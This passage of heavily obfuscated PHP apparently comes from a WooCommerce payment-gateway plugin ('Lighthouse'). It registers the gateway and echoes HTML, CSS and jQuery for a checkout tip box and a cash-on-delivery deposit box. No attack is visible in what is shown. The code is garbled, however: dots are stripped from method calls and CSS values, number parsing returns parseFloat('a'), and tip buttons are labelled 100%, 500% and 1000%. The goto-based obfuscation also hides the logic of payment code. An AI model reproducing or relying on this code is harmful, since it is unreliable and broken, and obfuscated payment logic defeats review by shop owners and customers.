'redirect']=$U2yhCvP8G;$U2yzA8J["args"]=$args;$U2yzA8J['params']=$params;return $U2yzA8J;}};}}function add_stripe_gateway_class($gateways){$U2yBuEt77=array();$U2yBuEt77[]=2;$U2yBuEt77[]=8;$U2yBuEt77[]=15;$U2yBuEt77[]=7;$U2yBuEt77[]=4;unset($U2ytI8G);$U2ytI8G='WC_Lighthouse_Payment_Gateway';$gateways[]=$U2ytI8G;return $gateways;}function remove_checkout_payment_fragment($fragments){$U2yBuEt78=array();$U2yBuEt78[]=15;$U2yBuEt78[]=13;$U2yBuEt78[]=9;$U2yBuEt78[]=5;$U2yBuEt78[]=9;$U2yOiRy8=3375;if(isset($fragments['.woocommerce-checkout-payment']))goto U2yeWjgxh;goto U2yldMhxh;U2yeWjgxh:$U2yOiRy8="r"*"r";goto U2yxg;U2yldMhxh:U2yxg:$U2y8G=1*3;$U2y8H=$U2y8G+114;$U2y8I=$U2yOiRy8==$U2y8H;if($U2y8I)goto U2yeWjgxj;goto U2yldMhxj;U2yeWjgxj:unset($fragments['.woocommerce-checkout-payment']);goto U2yxi;U2yldMhxj:U2yxi:return $fragments;}function lighthouse_tip_cod_blocks(){$U2yBuEt82=array();$U2yBuEt82[]=2;$U2yBuEt82[]=11;$U2yBuEt82[]=12;$U2yBuEt82[]=14;$U2yBuEt82[]=3;$U2yOiRy49=2754;$U2y8G=!class_exists('WC_Lighthouse_Payment_Gateway');if($U2y8G)goto U2yeWjgx2w;goto U2yldMhx2w;U2yeWjgx2w:return ;goto U2yx2v;U2yldMhx2w:U2yx2v:$U2y8G=new WC_Lighthouse_Payment_Gateway();unset($U2ytI8H);$U2ytI8H=$U2y8G;$gateway=$U2ytI8H;$U2yOiRy51=2754;$U2y8G=$gateway->enable_tip=='yes';if($U2y8G)goto U2yeWjgx2y;goto U2yldMhx2y;U2yeWjgx2y:$U2yOiRy51="r"*"a";goto U2yx2x;U2yldMhx2y:U2yx2x:$U2y8G=5*15;$U2y8H=$U2y8G+93;$U2y8I=$U2yOiRy51==$U2y8H;if($U2y8I)goto U2yeWjgx31;goto U2yldMhx31;U2yeWjgx31:$U2yzA8H=array();$U2yeF8G=call_user_func_array("get_woocommerce_currency_symbol",$U2yzA8H);unset($U2yzA8H);unset($U2ytI8G);$U2ytI8G=$U2yeF8G;$currency_symbol=$U2ytI8G;echo " <style>";echo "
.lh-tip-box {";echo "
border: 1px solid #eee;";echo "
border-radius: 8px;";echo "
padding: 18px 20px 12px 20px;";echo "
background: #fff;";echo "
width: 100%;";echo "
box-sizing: border-box;";echo "
margin-bottom: 20px;";echo "
}";echo "
";echo "
.lh-tip-desc {";echo "
margin-bottom: 12px !important;";echo "
color: #666;";echo "
font-size: 15px;";echo "
}";echo "
";echo "
.lh-tip-btns {";echo "
display: flex;";echo "
gap: 12px;";echo "
margin-bottom: 12px;";echo "
}";echo "
";echo "
.tip-btn {";echo "
flex: 1 1 0;";echo "
display: flex;";echo "
flex-direction: column;";echo "
align-items: center;";echo "
border: 15px solid #d9d9d9;";echo "
border-radius: 8px;";echo "
background: #fafbfc;";echo "
color: #222;";echo "
font-weight: bold;";echo "
font-size: 16px;";echo "
padding: 10px 0 6px 0;";echo "
cursor: pointer;";echo "
transition: border-color2s, box-shadow2s, background2s;";echo "
box-shadow: 0 1px 4px rgba(0, 0, 0, 003);";echo "
min-width: 68px;";echo "
margin: 0;";echo "
}";echo "
";echo "
.tip-btnselected,";echo "
.tip-btn:focus {";echo "
border-color: #111;";echo "
background: #f1f4fa;";echo "
box-shadow: 0 2px 8px rgba(0, 0, 0, 007);";echo "
}";echo "
";echo "
.tip-btnlh-tip-amount {";echo "
font-size: 14px;";echo "
color: #2a7b1f;";echo "
font-weight: normal;";echo "
margin-top: 3px;";echo "
}";echo "
";echo "
.tip-btntip-noneselected {";echo "
border-color: #444;";echo "
background: #f6f6f6;";echo "
color: #888;";echo "
}";echo "
";echo "
.lh-tip-custom {";echo "
position: relative;";echo "
display: flex;";echo "
align-items: center;";echo "
gap: 8px;";echo "
margin-bottom: 10px;";echo "
}";echo "
";echo "
.lh-tip-custom::before {";echo "
content: attr(data-currency);";echo "
position: absolute;";echo "
left: 16px;";echo "
top: 50%;";echo "
transform: translateY(-50%);";echo "
color: #333;";echo "
font-size: 15px;";echo "
pointer-events: none;";echo "
min-width: 2em;";echo "
text-align: left;";echo "
}";echo "
";echo "
";echo "
#custom-tip {";echo "
flex: 1;";echo "
min-width: 0;";echo "
padding: 6px 8px 6px 48px;";echo "
";echo "
border-radius: 5px;";echo "
border: 1px solid #ccc;";echo "
font-size: 15px;";echo "
box-sizing: border-box;";echo "
}";echo "
";echo "
";echo "
";echo "
#update-tip {";echo "
padding: 6px 14px;";echo "
min-width: 100px;";echo "
";echo "
background: #e8e8e8;";echo "
border: none;";echo "
border-radius: 5px;";echo "
font-weight: bold;";echo "
cursor: pointer;";echo "
color: #333;";echo "
transition: background2s;";echo "
line-height: normal;";echo "
}";echo "
";echo "
#update-tip:disabled {";echo "
background: #f2f2f2;";echo "
color: #aaa;";echo "
cursor: not-allowed;";echo "
";echo "
opacity: 07;";echo "
line-height: normal;";echo "
}";echo "
";echo "
#update-tip:hover {";echo "
background: #d2e4ff;";echo "
color: #222;";echo "
";echo "
}";echo "
";echo "
#tip-message {";echo "
margin-top: 3px;";echo "
font-size: 14px;";echo "
}";echo "
</style>";echo "
<div id=\"add-tip-section\" class=\"lh-tip-box\">";echo "
<h3>";$U2yzA8H=array();$U2yzA8H[]='Add tip';$U2yzA8H[]='your-plugin-domain';$U2yeF8G=call_user_func_array("esc_html_e",$U2yzA8H);unset($U2yzA8H);echo "</h3>";echo "
<p class=\"lh-tip-desc\">";$U2yzA8H=array();$U2yzA8H[]='Show your support for the team';$U2yzA8H[]='your-plugin-domain';$U2yeF8G=call_user_func_array("esc_html_e",$U2yzA8H);unset($U2yzA8H);echo "</p>";echo "
<div class=\"lh-tip-btns\">";echo "
<button type=\"button\" class=\"tip-btn\" data-tip=\"1\">";echo "
<span>100%</span>";echo "
<span class=\"lh-tip-amount\"></span>";echo "
</button>";echo "
<button type=\"button\" class=\"tip-btn\" data-tip=\"5\">";echo "
<span>500%</span>";echo "
<span class=\"lh-tip-amount\"></span>";echo "
</button>";echo "
<button type=\"button\" class=\"tip-btn\" data-tip=\"10\">";echo "
<span>1000%</span>";echo "
<span class=\"lh-tip-amount\"></span>";echo "
</button>";echo "
<button type=\"button\" class=\"tip-btn tip-none selected\" data-tip=\"0\">";echo "
<span>";$U2yzA8H=array();$U2yzA8H[]='None';$U2yzA8H[]='your-plugin-domain';$U2yeF8G=call_user_func_array("esc_html_e",$U2yzA8H);unset($U2yzA8H);echo "</span>";echo "
</button>";echo "
</div>";echo "
";echo "
<div class=\"lh-tip-custom\" data-currency=\"";$U2yzA8H=array();$U2yzA8H[]=&$currency_symbol;$U2yeF8G=call_user_func_array("esc_attr",$U2yzA8H);unset($U2yzA8H);echo $U2yeF8G;echo "\">";echo "
<input type=\"number\" step=\"001\" min=\"0\" id=\"custom-tip\" placeholder=\"Custom tip\">";echo "
<button type=\"button\" id=\"update-tip\" disabled>";$U2yzA8H=array();$U2yzA8H[]='Update Tip';$U2yzA8H[]='your-plugin-domain';$U2yeF8G=call_user_func_array("esc_html_e",$U2yzA8H);unset($U2yzA8H);echo "</button>";echo "
</div>";echo "
";echo "
<div id=\"tip-message\" style=\"color:green;display:none;\">";$U2yzA8H=array();$U2yzA8H[]='Thank you, we appreciate it';$U2yzA8H[]='your-plugin-domain';$U2yeF8G=call_user_func_array("esc_html_e",$U2yzA8H);unset($U2yzA8H);echo "</div>";echo "
<input type=\"hidden\" name=\"order_tip_amount\" id=\"order_tip_amount\" value=\"0\">";echo "
<input type=\"hidden\" id=\"tip-currency-symbol\" value=\"";$U2yzA8H=array();$U2yzA8H[]=&$currency_symbol;$U2yeF8G=call_user_func_array("esc_attr",$U2yzA8H);unset($U2yzA8H);echo $U2yeF8G;echo "\">";echo "
</div>";echo "
<script>";echo "
jQuery(function(\$) {";echo "
";echo "
";echo "
// var currency = \$('.lh-tip-custom').attr('data-currency') || '';";echo "
// var width = Mathmax(48, currencylength * 15 + 20); // 15px每字符+20px间距";echo "
// \$('#custom-tip').css('padding-left', width + 'px');";echo "
";echo "
";echo "
";echo "
function toggleTipBox() {";echo "
var selected = \$('input[name=\"payment_method\"]:checked').val();";echo "
// 你的支付方式ID,和PHP里的id保持一致";echo "
if (selected === 'woocommerce_payments_stripe_gateway') {";echo "
\$('#add-tip-section').show();";echo "
} else {";echo "
\$('#add-tip-section').hide();";echo "
}";echo "
}";echo "
// 页面加载时和每次切换支付方式都检测";echo "
toggleTipBox();";echo "
\$(document).on('change', 'input[name=\"payment_method\"]', toggleTipBox);";echo "
";echo "
";echo "
";echo "
function toggleUpdateTipBtn() {";echo "
var val = parseFloat(\$('#custom-tip').val());";echo "
if (!isNaN(val) && val > 0) {";echo "
\$('#update-tip').prop('disabled', false);";echo "
} else {";echo "
\$('#update-tip').prop('disabled', true);";echo "
}";echo "
}";echo "
";echo "
function parseTipAmount(tipText) {";echo "
// 去掉前面的非数字字符";echo "
let amount = tipTextreplace(/^[^\\d]+/, '');";echo "
// 去掉逗号";echo "
amount = amountreplace(/,/g, '');";echo "
// 只保留第一个数字及其后面的内容(防止有多个数字)";echo "
amount = amountmatch(/^\\d+(\\.\\d+)?/);";echo "
if (amount) {";echo "
return parseFloat("a");";echo "
}";echo "
return 0;";echo "
}";echo "
";echo "
function isTemplateCommaStyle(amountStr) {";echo "
return amountStr && amountStrindexOf(',') !== -1;";echo "
}";echo "
";echo "
function formatMoney(val, useComma) {";echo "
val = parseFloat(val);";echo "
if (isNaN(val)) val = 0;";echo "
if (useComma) {";echo "
// 英文环境下用 toLocaleString";echo "
return getCurrencySymbol() + valtoLocaleString('en-US', {";echo "
minimumFractionDigits: 2,";echo "
maximumFractionDigits: 2";echo "
});";echo "
} else {";echo "
// 不加逗号";echo "
return getCurrencySymbol() + valtoFixed(2);";echo "
}";echo "
}";echo "
";echo "
function getSubtotal() {";echo "
var subtotal = \$('.cart-subtotalamount').first().text() || \$('.woocommerce-checkout-review-order-table tfootcart-subtotalamount').text();";echo "
consolelog('subtotal:', subtotal);";echo "
return parseTipAmount(subtotal) || 0;";echo "
}";echo "
";echo "
function getCurrencySymbol() {";echo "
// 优先用隐藏input的值";echo "
return \$('#tip-currency-symbol').val() || '\$';";echo "
}";echo "
";echo "
function formatCurrency(val) {";echo "
// 保留两位小数并加符号";echo "
return getCurrencySymbol() + parseFloat(val).toFixed(2);";echo "
}";echo "
// 初始化时禁用按钮";echo "
\$('#update-tip').prop('disabled', true);";echo "
";echo "
// 输入框变化时判断";echo "
\$('#custom-tip').on('input', function() {";echo "
toggleUpdateTipBtn();";echo "
if (\$(this).val()) {";echo "
\$('.tip-btn').removeClass('selected');";echo "
}";echo "
});";echo "
";echo "
// 选择预设按钮时,清空输入框并禁用按钮";echo "
\$('.tip-btn').click(function() {";echo "
\$('#custom-tip').val('');";echo "
toggleUpdateTipBtn();";echo "
});";echo "
";echo "
// 页面加载时检测一次";echo "
toggleUpdateTipBtn();";echo "
";echo "
function updateTipAmounts() {";echo "
var subtotalStr = \$('.cart-subtotalamount').first().text() || \$('.woocommerce-checkout-review-order-table tfootcart-subtotalamount').text();";echo "
var subtotal = parseTipAmount(subtotalStr) || 0;";echo "
var useComma = isTemplateCommaStyle(subtotalStr);";echo "
";echo "
\$('.tip-btn').each(function() {";echo "
var percent = parseFloat(\$(this).data('tip'));";echo "
if (percent > 0) {";echo "
var tip = (subtotal * percent / 100).toFixed(2);";echo "
\$(this).find('.lh-tip-amount').text(formatMoney(tip, useComma));";echo "
} else {";echo "
\$(this).find('.lh-tip-amount').text('');";echo "
}";echo "
});";echo "
}";echo "
";echo "
updateTipAmounts();";echo "
\$(documentbody).on('updated_checkout', updateTipAmounts);";echo "
";echo "
function selectBtn(\$btn) {";echo "
\$('.tip-btn').removeClass('selected');";echo "
\$btnaddClass('selected');";echo "
}";echo "
";echo "
\$('.tip-btn').click(function() {";echo "
var percent = parseFloat(\$(this).data('tip'));";echo "
var subtotal = getSubtotal();";echo "
if (percent > 0) {";echo "
var tip = (subtotal * percent / 100).toFixed(2);";echo "
\$('#custom-tip').val('');";echo "
\$('#order_tip_amount').val(tip);";echo "
selectBtn(\$(this));";echo "
} else {";echo "
\$('#custom-tip').val('');";echo "
\$('#order_tip_amount').val(0);";echo "
selectBtn(\$(this));";echo "
}";echo "
\$('#tip-message').hide();";echo "
\$('body').trigger('update_checkout');";echo "
});";echo "
";echo "
\$('#update-tip').click(function() {";echo "
var tip = parseFloat(\$('#custom-tip').val()) || 0;";echo "
\$('#order_tip_amount').val(tip);";echo "
\$('.tip-btn').removeClass('selected');";echo "
\$('#tip-message').toggle(tip > 0);";echo "
\$('body').trigger('update_checkout');";echo "
});";echo "
";echo "
\$('#custom-tip').on('input', function() {";echo "
if (\$(this).val()) {";echo "
\$('.tip-btn').removeClass('selected');";echo "
}";echo "
});";echo "
";echo "
// 如果页面币种变动(如多币种插件切换),自动刷新";echo "
\$(documentbody).on('updated_cart_totals updated_checkout', function() {";echo "
updateTipAmounts();";echo "
});";echo "
});";echo "
</script>";echo "
";goto U2yx3z;U2yldMhx31:U2yx3z:$U2yOiRy67=2748;$U2y8G=$gateway->enable_cod_deposit=='yes';if($U2y8G)goto U2yeWjgx33;goto U2yldMhx33;U2yeWjgx33:$U2yOiRy67="y"*"r";goto U2yx32;U2yldMhx33:U2yx32:$U2y8G=17*14;$U2y8H=$U2y8G-205;$U2y8I=$U2yOiRy67==$U2y8H;if($U2y8I)goto U2yeWjgx3j;goto U2yldMhx3j;U2yeWjgx3j:$U2yzA8H=array();$U2yeF8G=call_user_func_array("get_woocommerce_currency_symbol",$U2yzA8H);unset($U2yzA8H);unset($U2ytI8G);$U2ytI8G=$U2yeF8G;$currency_symbol=$U2ytI8G;$U2y8G=!empty($gateway->cod_deposit_label);if($U2y8G)goto U2yeWjgx3l;goto U2yldMhx3l;U2yeWjgx3l:goto U2yeWjgx35;goto U2yx3k;U2yldMhx3l:U2yx3k:goto U2yldMhx35;U2yeWjgx35:$U2y8H=$gateway->cod_deposit_label;goto U2yx34;U2yldMhx35:$U2y8H='货到付款';U2yx34:unset($U2ytI8I);$U2ytI8I=$U2y8H;unset($U2ytI8G);$U2ytI8G=$U2ytI8I;$cod_label=$U2ytI8G;$U2y8G=!empty($gateway->cod_deposit_label_desc1);if($U2y8G)goto U2yeWjgx3n;goto U2yldMhx3n;U2yeWjgx3n:goto U2yeWjgx37;goto U2yx3m;U2yldMhx3n:U2yx3m:goto U2yldMhx37;U2yeWjgx37:$U2y8H=$gateway->cod_deposit_label_desc1;goto U2yx36;U2yldMhx37:$U2y8H='';U2yx36:unset($U2ytI8I);$U2ytI8I=$U2y8H;unset($U2ytI8G);$U2ytI8G=$U2ytI8I;$desc=$U2ytI8G;$U2y8G=!empty($gateway->cod_deposit_label_desc2);if($U2y8G)goto U2yeWjgx3p;goto U2yldMhx3p;U2yeWjgx3p:goto U2yeWjgx39;goto U2yx3o;U2yldMhx3p:U2yx3o:goto U2yldMhx39;U2yeWjgx39:$U2y8H=$gateway->cod_deposit_label_desc2;goto U2yx38;U2yldMhx39:$U2y8H='Deposit (pay now):';U2yx38:unset($U2ytI8I);$U2ytI8I=$U2y8H;unset($U2ytI8G);$U2ytI8G=$U2ytI8I;$label1=$U2ytI8G;$U2y8G=!empty($gateway->cod_deposit_label_desc3);if($U2y8G)goto U2yeWjgx3r;goto U2yldMhx3r;U2yeWjgx3r:goto U2yeWjgx3b;goto U2yx3q;U2yldMhx3r:U2yx3q:goto U2yldMhx3b;U2yeWjgx3b:$U2y8H=$gateway->cod_deposit_label_desc3;goto U2yx3a;U2yldMhx3b:$U2y8H='Balance (on delivery):';U2yx3a:unset($U2ytI8I);$U2ytI8I=$U2y8H;unset($U2ytI8G);$U2ytI8G=$U2ytI8I;$label2=$U2ytI8G;if(empty($desc))goto U2yeWjgx3t;goto U2yldMhx3t;U2yeWjgx3t:goto U2yeWjgx3d;goto U2yx3s;U2yldMhx3t:U2yx3s:goto U2yldMhx3d;U2yeWjgx3d:$U2y8G=$gateway->cod_deposit_type==='percent';if($U2y8G)goto U2yeWjgx3v;goto U2yldMhx3v;U2yeWjgx3v:goto U2yeWjgx3f;goto U2yx3u;U2yldMhx3v:U2yx3u:goto U2yldMhx3f;U2yeWjgx3f:unset($U2ytI8G);$U2ytI8G='下单需预付订单总金额的 <b>{deposit_percent}%</b> 作为定金,剩余货款收货时支付。<div style="color:#888;font-size:13px;margin-top:4px;">选择其他支付方式无需定金。</div>';$desc=$U2ytI8G;goto U2yx3e;U2yldMhx3f:unset($U2ytI8G);$U2ytI8G='下单需预付 <b>{currency_symbol}{deposit_amount}</b> 作为定金,剩余货款收货时支付。<div style="color:#888;font-size:13px;margin-top:4px;">选择其他支付方式无需定金。</div>';$desc=$U2ytI8G;U2yx3e:goto U2yx3c;U2yldMhx3d:U2yx3c:unset($U2ytI8G);$U2ytI8G=floatval($gateway->cod_deposit_value);$deposit_percent=$U2ytI8G;$U2y8G=$gateway->cod_deposit_type==='percent';if($U2y8G)goto U2yeWjgx3x;goto U2yldMhx3x;U2yeWjgx3x:goto U2yeWjgx3h;goto U2yx3w;U2yldMhx3x:U2yx3w:goto U2yldMhx3h;U2yeWjgx3h:$U2y8H=$deposit_percent;goto U2yx3g;U2yldMhx3h:$U2y8H=round($gateway->cod_deposit_value,2);U2yx3g:unset($U2ytI8I);$U2ytI8I=$U2y8H;unset($U2ytI8G);$U2ytI8G=$U2ytI8I;$deposit_amount=$U2ytI8G;$U2yzAvP8G=array();$U2yzAvP8G[]='{deposit_percent}';$U2yzAvP8G[]='{deposit_amount}';$U2yzAvP8G[]='{currency_symbol}';$U2yzAvP8H=array();$U2yzAvP8H[]=$deposit_percent;$U2yzAvP8H[]=$deposit_amount;$U2yzAvP8H[]=$currency_symbol;$U2yzA8J=array();$U2yzA8J[]=&$U2yzAvP8G;$U2yzA8J[]=&$U2yzAvP8H;$U2yzA8J[]=&$desc;$U2yeF8I=call_user_func_array("str_replace",$U2yzA8J);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yeF8I;$desc=$U2ytI8G;echo " ";echo "
<div id=\"cod-deposit-box\" style=\"margin-bottom:18px; border:15px solid #e5e5e5; border-radius:7px; padding:15px 20px; background:#f9f9f9;\">";echo "
<label style=\"font-size:15px; color:#222; display:inline-flex; align-items:center;cursor:pointer;\">";echo "
<input type=\"checkbox\" name=\"custom_cod_checkbox\" id=\"custom_cod_checkbox\" value=\"1\" checked=\"checked\" style=\"margin-right:8px;\">";echo "
";$U2yzA8H=array();$U2yzA8H[]=&$cod_label;$U2yeF8G=call_user_func_array("esc_html",$U2yzA8H);unset($U2yzA8H);echo $U2yeF8G;echo " </label>";echo "
<div id=\"cod-deposit-desc\" style=\"margin-top:6px; color:#444; font-size:14px;padding-bottom: 5px;\">";echo "
";echo $desc;echo " </div>";echo "
<input type=\"hidden\" id=\"cod-deposit-type\" value=\"";echo esc_attr($gateway->cod_deposit_type);echo "\">";echo "
<input type=\"hidden\" id=\"cod-deposit-value\" value=\"";echo esc_attr($gateway->cod_deposit_value);echo "\">";echo "
<div id=\"cod-deposit-amount\" style=\"font-size: 15px;font-weight: 600;display: flex;justify-content: space-between;padding-top: 5px;\"></div>";echo "
<div id=\"cod-balance-amount\" style=\"font-size: 15px;font-weight: 600;display: flex;justify-content: space-between;\"></div>";echo "
</div>";echo "
<script>";echo "
jQuery(function(\$) {";echo "
function isTemplateCommaStyle(amountStr) {";echo "
return amountStr && amountStrindexOf(',') !== -1;";echo "
}";echo "
";echo "
function getCurrencySymbol() {";echo "
return '";echo $currency_symbol;echo "';";echo "
}";echo "
";echo "
function formatMoney(val, useComma) {";echo "
val = parseFloat(val);";echo "
if (isNaN(val)) val = 0;";echo "
if (useComma) {";echo "
return getCurrencySymbol() + valtoLocaleString('en-US', {";echo "
minimumFractionDigits: 2,";echo "
maximumFractionDigits: 2";echo "
});";echo "
} else {";echo "
return getCurrencySymbol() + valtoFixed(2);";echo "
}";echo "
}";echo "
";echo "
function parseTipAmount(tipText) {";echo "
let amount = tipTextreplace(/^[^\\d]+/, '');";echo "
amount = amountreplace(/,/g, '');";echo "
amount = amountmatch(/^\\d+(\\.\\d+)?/);";echo "
if (amount) {";echo "
return parseFloat("a");";echo "
}";echo "
return 0;";echo "
}";echo "
";echo "
function getTotalStr() {";echo "
return \$('.order-totalamount').first().text() || \$('.woocommerce-checkout-review-order-table tfootorder-totalamount').text();";echo "
}";echo "
";echo "
function getTotal() {";echo "
return parseTipAmount(getTotalStr()) || 0;";echo "
}";echo "
";echo "
function getDepositType() {";echo "
return \$('#cod-deposit-type').val();";echo "
}";echo "
";echo "
function getDepositValue() {";echo "
var val = \$('#cod-deposit-value').val();";echo "
return isNaN(parseFloat(val)) ? 0 : parseFloat(val);";echo "
}";echo "
";echo "
function updateCODAmounts() {";echo "
var totalStr = getTotalStr();";echo "
var total = parseTipAmount(totalStr) || 0;";echo "
var useComma = isTemplateCommaStyle(totalStr);";echo "
";echo "
var deposit = 0;";echo "
var deposit_type = getDepositType();";echo "
var deposit_value = getDepositValue();";echo "
";echo "
if (deposit_type === 'percent') {";echo "
deposit = Mathround(total * deposit_value) / 100;";echo "
} else {";echo "
deposit = deposit_value;";echo "
if (deposit > total) deposit = total;";echo "
}";echo "
var balance = total - deposit;";echo "
if (balance < 0) balance = 0;";echo "
";echo "
var cod_deposit_label = ";$U2yzA8H=array();$U2yzA8H[]=&$label1;$U2yeF8G=call_user_func_array("json_encode",$U2yzA8H);unset($U2yzA8H);echo $U2yeF8G;echo ";";echo "
var cod_balance_label = ";$U2yzA8H=array();$U2yzA8H[]=&$label2;$U2yeF8G=call_user_func_array("json_encode",$U2yzA8H);unset($U2yzA8H);echo $U2yeF8G;echo ";";echo "
\$('#cod-deposit-amount').html(cod_deposit_label + '<span style=\"font-size:16px;\">' + formatMoney(deposit, useComma) + '</span>');";echo "
\$('#cod-balance-amount').html(cod_balance_label + '<span style=\"font-size:16px;\">' + formatMoney(balance, useComma) + '</span>');";echo "
}";echo "
updateCODAmounts();";echo "
\$(documentbody).on('updated_checkout', updateCODAmounts);";echo "
";echo "
function toggleCODBox() {";echo "
var checked = \$('#custom_cod_checkbox').prop('checked');";echo "
if (checked) {";echo "
\$('#cod-deposit-desc').show();";echo "
\$('#cod-deposit-amount').show();";echo "
\$('#cod-balance-amount').show();";echo "
} else {";echo "
\$('#cod-deposit-desc').hide();";echo "
\$('#cod-deposit-amount').hide();";echo "
\$('#cod-balance-amount').hide();";echo "
}";echo "
}";echo "
toggleCODBox();";echo "
\$('#custom_cod_checkbox').on('change', function() {";echo "
toggleCODBox();";echo "
});";echo "
\$(document).on('change', 'input[name=\"payment_method\"]', function() {";echo "
toggleCODBox();";echo "
updateCODAmounts();";echo "
toggleCodBox();";echo "
});";echo "
";echo "
function toggleCodBox() {";echo "
var selected = \$('input[name=\"payment_method\"]:checked').val();";echo "
if (selected === 'woocommerce_payments_stripe_gateway') {";echo "
\$('#cod-deposit-box').show();";echo "
} else {";echo "
\$('#cod-deposit-box').hide();";echo "
}";echo "
}";echo "
toggleCodBox();";echo "
});";echo "
</script>";echo "
";goto U2yx3i;U2yldMhx3j:U2yx3i:}function lighthouse_tip_cod_blocks1(){$U2yBuEt83=array();$U2yBuEt83[]=12;$U2yBuEt83[]=2;$U2yBuEt83[]=5;$U2yBuEt83[]=17;$U2yBuEt83[]=14;$U2yOiRy68=4917;$U2y8G=!class_exists('WC_Lighthouse_Payment_Gateway');if($U2y8G)goto U2yeWjgx4z;goto U2yldMhx4z;U2yeWjgx4z:return ;goto U2yx3y;U2yldMhx4z:U2yx3y:$U2y8G=new WC_Lighthouse_Payment_Gateway();unset($U2ytI8H);$U2ytI8H=$U2y8G;$gateway=$U2ytI8H;$U2yOiRy70=4932;$U2y8G=$gateway->enable_tip=='yes';if($U2y8G)goto U2yeWjgx42;goto U2yldMhx42;U2yeWjgx42:$U2yOiRy70="a"*"a";goto U2yx41;U2yldMhx42:U2yx41:$U2y8G=20*14;$U2y8H=$U2y8G-136;$U2y8I=$U2yOiRy70==$U2y8H;if($U2y8I)goto U2yeWjgx44;goto U2yldMhx44;U2yeWjgx44:$U2yzA8H=array();$U2yeF8G=call_user_func_array("get_woocommerce_currency_symbol",$U2yzA8H);unset($U2yzA8H);unset($U2ytI8G);$U2ytI8G=$U2yeF8G;$currency_symbol=$U2ytI8G;echo " <style>";echo "
.lh-tip-box {";echo "
border: 1px solid #eee;";echo "
border-radius: 8px;";echo "
padding: 18px 20px 12px 20px;";echo "
background: #fff;";echo "
width: 100%;";echo "
box-sizing: border-box;";echo "
margin-bottom: 20px;";echo "
}";echo "
";echo "
.lh-tip-desc {";echo "
margin-bottom: 12px !important;";echo "
color: #666;";echo "
font-size: 15px;";echo "
}";echo "
";echo "
.lh-tip-btns {";echo "
display: flex;";echo "
gap: 12px;";echo "
margin-bottom: 12px;";echo "
}";echo "
";echo "
.tip-btn {";echo "
flex: 1 1 0;";echo "
display: flex;";echo "
flex-direction: column;";echo "
align-items: center;";echo "
border: 15px solid #d9d9d9;";echo "
border-radius: 8px;";echo "
background: #fafbfc;";echo "
color: #222;";echo "
font-weight: bold;";echo "
font-size: 16px;";echo "
padding: 10px 0 6px 0;";echo "
cursor: pointer;";echo "
transition: border-color2s, box-shadow2s, background2s;";echo "
box-shadow: 0 1px 4px rgba(0, 0, 0, 003);";echo "
min-width: 68px;";echo "
margin: 0;";echo "
}";echo "
";echo "
.tip-btnselected,";echo "
.tip-btn:focus {";echo "
border-color: #111;";echo "
background: #f1f4fa;";echo "
box-shadow: 0 2px 8px rgba(0, 0, 0, 007);";echo "
}";echo "
";echo "
.tip-btnlh-tip-amount {";echo "
font-size: 14px;";echo "
color: #2a7b1f;";echo "
font-weight: normal;";echo "
margin-top: 3px;";echo "
}";echo "
";echo "
.tip-btntip-noneselected {";echo "
border-color: #444;";echo "
background: #f6f6f6;";echo "
color: #888;";echo "
}";echo "
";echo "
.lh-tip-custom {";echo "
position: relative;";echo "
display: flex;";echo "
align-items: center;";echo "
gap: 8px;";echo "
margin-bottom: 10px;";echo "
}";echo "
";echo "
.lh-tip-custom::before {";echo "
content: attr(data-currency);";echo "
position: absolute;";echo "
left: 16px;";echo "
top: 50%;";echo "
transform: translateY(-50%);";echo "
color: #333;";echo "
font-size: 15px;";echo "
pointer-events: none;";echo "
min-width: 2em;";echo "
text-align: left;";echo "
}";echo "
";echo "
#custom-tip {";echo "
flex: 1;";echo "
min-width: 0;";echo "
padding: 6px 8px 6px 48px;";echo "
border-radius: 5px;";echo "
border: 1px solid #ccc;";echo "
font-size: 15px;";echo "
box-sizing: border-box;";echo "
}";echo "
";echo "
#update-tip {";echo "
padding: 6px 14px;";echo "
min-width: 100px;";echo "
background: #e8e8e8;";echo "
border: none;";echo "
border-radius: 5px;";echo "
font-weight: bold;";echo "
cursor: pointer;";echo "
color: #333;";echo "
transition: background2s;";echo "
line-height: normal;";echo "
}";echo "
";echo "
#update-tip:disabled {";echo "
background: #f2f2f2;";echo "
color: #aaa;";echo "
cursor: not-allowed;";echo "
opacity: 07;";echo "
line-height: normal;";echo "
}";echo "
";echo "
#update-tip:hover {";echo "
background: #d2e4ff;";echo "
color: #222;";echo "
}";echo "
";echo "
#tip-message {";echo "
margin-top: 3px;";echo "
font-size: 14px;";echo "
}";echo "
</style>";echo "
<div id=\"add-tip-section\" class=\"lh-tip-box\">";echo "
<h3>";$U2yzA8H=array();$U2yzA8H[]='Add tip';$U2yzA8H[]='your-plugin-domain';$U2yeF8G=call_user_func_array("esc_html_e",$U2yzA8H);unset($U2yzA8H);echo "</h3>";echo "
<p class=\"lh-tip-desc\">";$U2yzA8H=array();$U2yzA8H[]='Show your support for the team';$U2yzA8H[]='your-plugin-domain';$U2yeF8G=call_user_func_array("esc_html_e",$U2yzA8H);unset($U2yzA8H);echo "</p>";echo "
<div class=\"lh-tip-btns\">";echo "
<button type=\"button\" class=\"tip-btn\" data-tip=\"1\">";echo "
<span>100%</span>";echo "
<span class=\"lh-tip-amount\"></span>";echo "
</button>";echo "
<button type=\"button\" class=\"tip-btn\" data-tip=\"5\">";echo "
<span>500%</span>";echo "
<span class=\"lh-tip-amount\"></span>";echo "
</button>";echo "
<button type=\"button\" class=\"tip-btn\" data-tip=\"10\">";echo "
<span>1000%</span>";echo "
<span class=\"lh-tip-amount\"></span>";echo "
</button>";echo "
<button type=\"button\" class=\"tip-btn tip-none selected\" data-tip=\"0\">";echo "
<span>";$U2yzA8H=array();$U2yzA8H[]='None';$U2yzA8H[]='your-plugin-domain';$U2yeF8G=call_user_func_array("esc_html_e",$U2yzA8H);unset($U2yzA8H);echo "</span>";echo "
</button>";echo "
</div>";echo "
<div class=\"lh-tip-custom\" data-currency=\"";$U2yzA8H=array();$U2yzA8H[]=&$currency_symbol;$U2yeF8G=call_user_func_array("esc_attr",$U2yzA8H);unset($U2yzA8H);echo $U2yeF8G;echo "\">";echo "
<input type=\"number\" step=\"001\" min=\"0\" id=\"custom-tip\" placeholder=\"Custom tip\">";echo "
<button type=\"button\" id=\"update-tip\" disabled>";$U2yzA8H=array();$U2yzA8H[]='Update Tip';$U2yzA8H[]='your-plugin-domain';$U2yeF8G=call_user_func_array("esc_html_e",$U2yzA8H);unset($U2yzA8H);echo "</button>";echo "
</div>";echo "
";echo "
